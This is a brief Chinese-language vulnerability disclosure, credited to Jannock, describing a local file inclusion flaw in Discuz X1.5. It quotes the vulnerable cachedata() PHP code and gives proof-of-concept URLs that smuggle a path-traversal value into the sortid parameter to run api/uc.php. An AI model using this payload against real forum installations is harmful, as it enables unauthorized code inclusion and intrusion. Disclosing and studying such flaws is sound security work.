DISCUZ X1.5 本地文件包含漏洞说明

config_global.php
    复制代码
    代码如下:
    
    $_config['cache']['type'] = ‘file’;
    function cachedata($cachenames) {
    ……
    $isfilecache = getglobal(‘config/cache/type’) == ‘file’;
    ……
    if($isfilecache) {
    $lostcaches = array();
    foreach($cachenames as $cachename) {
    if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) {
    $lostcaches[] = $cachename;
    }
    }
    ……
    }
    地址:
    http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
    http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried
    执行了 api/uc.php 页面代码了。
    作者: Jannock